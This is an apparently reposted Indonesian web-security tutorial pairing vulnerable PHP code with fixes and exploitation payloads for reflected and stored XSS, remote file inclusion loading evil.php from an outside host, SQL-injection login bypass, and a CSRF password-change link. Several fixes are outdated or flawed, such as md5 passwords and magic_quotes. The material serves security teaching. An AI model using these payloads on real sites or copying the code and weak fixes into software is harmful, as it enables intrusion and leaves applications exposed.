Web Security Yin-Yang (Attacking & Defending)

461 Views 0 Comment

Web Security Yin-YangWEB SECURITY YIN-YANG

Ditulis oleh: gentoo

“If you know both yourself and your enemy, you can win a hundred battles without a single loss.”

Di berbagai segi kehidupan, sangatlah di butuhkan keseimbangan. Bahkan yang sangat terkenal adalah sebuah ungkapan dari Sun Tzu yang saya tuliskan diatas, mengenali kelemahan musuh adalah penting, tetapi lebih penting lagi mengenali kelemahan diri sendiri, karena dengan begitu kita dapat seimbang dala, bertahan dan menyerang.  Saya harap artikel ini nantinya akan dapat menjadi referensi singkat yang membahas tentang menyerang dan bertahan dalam dunia keamanan web (web security), dan artikel ini diharapkan juga bisa menjadi titik mula bagi yang tertarik dengan keamanan web, sekaligus pembuka mata bagi para programmer web agar sedikit banyak mulai menaruh perhatian pada keamanan aplikasi yang meraka buat.  Artikel ini akan membahas beberapa jenis celah keamanan web yang umumnya selalu menjadi primadon dikalangan para pemerhati keamanan web, tetapi bahasan disini bukan mencakup detil tiap celah, tetapi lebih ke arah Proof-of-concept dari cara bertahan dan menyerang. Disajikan dengan menggunakan PHP sebagai bahasa pemrograman “dynamic”, HTML, serta mysql sebagai “database engine”.  Formatnya pun akan selalu sama, penyajian kode yang memiliki celah, cara memperkuatnya (bertahan) kemudian diikuti dengan bagaimana metode untuk mengexploitasinya. Jangan berharap artikel ini akan mengajarkan anda dari Nol, bagaimana membuat web, mengkode dengan PHP dan mysql, atau penjelasan detil (pengertian-panjang-lebar) tentang setiap celah.  Partisipasi aktif andalah yang akan menentukan apakah artikel ini akan bermanfaat buat anda nantinya

===// Yin-Yang \\===

====// XSS Reflected \\====
kode yang memiliki celah untuk di serang:


——–\\ sweet.php
PHP Code:

echo ‘Selamat Datang’ . $_GET[‘sweet’];

——–//
Adapun kode untuk melindungi adalah dengan menambahkan fungsi “strip_tags” atau “htmlspecialchars” untuk memeriksa variabel tersebut terlebih dahulu.
——–\\sweet-patch.php
PHP Code:

echo ‘Selamat Datang’ . strip_tags($_GET[‘sweet’]);

atau PHP Code:

echo ‘Selamat Datang’ . htmlspecialchars($_GET[‘sweet’]);

——–//


——// Eksploitasi \\——
Code:sweet.php?sweet=<script>alert(“XSS”)</script>

====// XSS Persistent \\====

kode yang memiliki celah untuk di serang:


——–\\ sweet.php
PHP Code:

$sweet  = trim($_POST[‘txtSweet’]);$sweet  = mysql_real_escape_string($sweet);$query  = “INSERT INTO sweet (sweet) VALUES (‘$sweet’);”;

——–//
Adapun fungsi yang digunakan untuk mengamankannya adalah “stripslashes”, “addslashes”, “htmlspecialchars”
——–\\sweet-patch.php
PHP Code:

$sweet = stripslashes($sweet);$sweet = mysql_real_escape_string($sweet);$sweet = htmlspecialchars($sweet);$query = “INSERT INTO sweet (sweet) VALUES (‘$sweet’);”;

——–//


——// Eksploitasi \\——
Code:

sweet.php?sweet=<SCRIPT SRC=http://dare.dev.il/evil.js?<B>Bedanya, xss exploit ini akan tersimpan ke database dan akan selalu di eksekusi setiap halaman sweet.php di load, selanjutnya tinggal keahlian anda berkreasi pada script evil.js


====// File Inclusion \\====

Kode yang memiliki celah untuk di serang:


——–\\berkas.php
PHP Code:

$file = $_GET[‘halaman’];

——–//

Adapun Untuk mengamankan berkas.php, cukup dengan mendefinisikan file yangingin kita include secara pasti.
——–\\berkas-patch.php
PHP Code:

$file = $_GET[‘halaman’];

// hanya mengijinkan sweet.phpif ( $file != “sweet.php” ) {echo “ERROR: File not found!”;exit;}

——–//

|——| Atau untuk melengkapinya, silahkan melakukan serring “Off” pada Directive| allow_url_fopen| allow_url_include| pada php.ini|——


——// Eksploitasi \\——

Code:berkas.php?halaman=http://dare.dev.il/evil.phpSelanjutnya tergantung keahlian anda berkreasi pada script evil.php, agar berbagai perintah dalam evil.php dapat tereksekusi, ada beberapa syarat lain yang harus dipenuhi, dan ini menjadi PR anda untuk mencari tahu.


====// SQL Injection \\====

SQL injection adalah salah satu teknik yang cukup tua untuk dibahas, celah ini pada web aplikasilah yang paling banyak memberikan andil kepada terkuasainya banyak webserver. Celah ini bisa saya bilang multiplatform karena bisa Database dapat berpasangan dengan bahasa permrograman apapun dan berjalan di sistem-operasi apapun.
Untuk teknik ini saya tidak ingin panjang lebar, tetapi khusus untuk celah lawas ini, kode yang akan saya berikan lengkap, dan bagi para pencinta “salin & tempel” akan dengan mudah dapat mengapliaksikannya, hmm sepertinya tidak juga, karena setidaknya kamu harus paham database, membuat tabel dan mengkoneksikannyadengan php
Ok, berikut adalah kode yang telah memiliki tempat sendiri dalam sejarah keamanan aplikasi web 😆


——–//vulnlogin.php

PHP Code:

<table><form name=”member” method=”post” action=”#”><tr><td colspan=”2″><b>Member Login</b></tr><tr><td>Username</td><td><input type=”text” name=”username” value=”” size=”40″></tr><tr><td>Password</td><td><input type=”password” name=”password” value=”” size=”40″></tr>
<tr><td colspan=”2″><input type=”submit” name=”submit” value=”Submit”><input type=”reset” name=”reset” value=”Reset”></td></form></table>
<?phpinclude ‘config.php’; // ini adalah konfigurasi koneksi aplikasi ke database,ga bisa buat? 😆
$username = $_POST[‘username’];$password = $_POST[‘password’];
$q = “SELECT username, password FROM member WHERE username = ‘$username’ AND \password = ‘$password’ “;
$r = mysql_query($q);if (!$r) {print mysql_error();} else {$row = mysql_fetch_row($r);if (($row[0] != “”) && ($row[1] != “”)) {echo “&nbsp;&nbsp;<a href=somerandompagesnameforyou.php>Yeah, you are in!</a>”;} else {echo”<pre> &nbsp;&nbsp;You need to register as a member to login! </pre>”;}}
?>


——–//

dan untuk mengamankannya adalah dengan melakukan filtering pada keduavariabel “username” dan “password”
PHP Code:$username = stripslashes($username);$username = mysql_escape_string($username);$password = stripslashes($password);$password = mysql_real_escape_string($password);|—-| Untuk memperkuatnya, seandainya ada yang terlewat, melakukan setting| “On” untuk| magic_quotes_gpc| pada setting PHP.ini|—-


——// Eksploitasi \\——

Masukkan ‘or ‘1=1” (l33t) pada input box username/password untuk membypasslogin, sehingga rikues akan jadi seperti ini
|—-|
PHP Code:SELECT username, password FROM member WHERE username = ”or’1=1”’ AND password = ”or’1=1”’|—
Selanjutnya, anda simpulkan sendiri


===// Cross Site Requesr Forgery \\===

Kode berikut adalah mempertunjukkan sebuah halaman ganti password untuk admin, yang tidak melakukan pemeriksaan password saat ini, sehingga memungkinkan celah CSRF digunakan.


——–\\ganti.php

PHP Code:

<?php
if (isset($_GET[‘ganti’])) {$pwd_baru = $_GET[‘pwd_baru’];$pwd_baru2 = $_GET[‘pwd_baru2’];
if (($pwd_baru == $pwd_baru2)){$pwd_baru = mysql_real_escape_string($pwd_baru);$pwd_baru = md5($pwd_baru);
$insert=”UPDATE `users` SET pwd = ‘$pwd_baru’ WHERE user = ‘admin’;”;$result=mysql_query($insert) or die(‘<pre>’ . mysql_error() . ‘</pre>’ );
echo “<pre>Password Admin Berubah </pre>”;mysql_close();}else{echo “<pre> Password tidak cocok. </pre>”;}
}?>

——–//
Adapun untuk memperbaikinya adalah, dengan melakukan pemeriksaan password saat ini terlebih dahulu sebelum merubah password


——–\\ganti-patch.php

PHP Code:

<?php
if (isset($_GET[‘ganti’])) {$pwd = $_GET[‘pwd’];$pwd_baru = $_GET[‘pwd_baru’];$pwd_baru2 = $_GET[‘pwd_baru2′];
$pwd = stripslashes( $pwd );$pwd = mysql_real_escape_string( $pwd );$pwd = md5( $pwd );
// Periksa password saat ini (pwd)$qry = “SELECT pwd FROM `users` WHERE user=’admin’ AND pwd=’$pwd’;”;$result = mysql_query($qry) or die(‘<pre>’ . mysql_error() . ‘</pre>’ );
if (($pwd_baru == $pwd_baru2) && ( $result && mysql_num_rows( $result ) == 1 )){$pwd_baru = mysql_real_escape_string($pwd_baru);$pass_new = md5($pwd_baru);
$insert=”UPDATE `users` SET pwd = ‘$pwd_baru’ WHERE user = ‘admin’;”;$result=mysql_query($insert) or die(‘<pre>’ . mysql_error() . ‘</pre>’ );
echo “<pre> Password Admin Berubah </pre>”;mysql_close();}
else{echo “<pre> Passwords Baru tidak cocok atau password lama anda salah. </pre>”;}
}?>

———//


——// Eksploitasi \\——

Adapun cara eksploitasinya adalah melibatkan kelalaian sang admin, umumnya attacker akan mengirim link tersbut ke email, atau melalui forum dsb dengan harapan sang admin akan meng-click-nya.
Code:<a href=http://nice.ang.el/ganti.php?pwd=&pwd_baru=dudul&pwd_baru2=dudul&ganti=ganti#>klik saya</a>

===// Penutup \\===

Oke, saya harap anda semua yang membaca akan pusing, dan disinilah orang-orang terpilih akan mengikis pembaca lainnya, yup, dengan cepat anda akan segera mencoba dan mencari tahu apa yang saya tulis disini, google! sejak awal di luncurkan adalah referensi terbaik.
Pelajari berbagai fungsi-fungsi yang saya singgung diatas, secara pelan dan jangan terburu-buru , selebihnya selamat datang di dunia web aplikasi yang ‘penuh dengan intrik-intrik, dan semoga sedikit dari saya dapat bermanfaat untuk semua. Logika anda sangat di perlukan disini!


===// Reference \\===

[1].google.inc, http://google.com

[2].OWASP, “The Open Web Application Security Project”, http://owasp.org

[3].semua web aplikasi yang telah saya lihat kode php-nya

Copas dari http://ezine.echo.or.id/ezine21/e21_005.txt
dan diambil dari
sumber .
Semoga bermanfaat.

0 Comments

Leave a Comment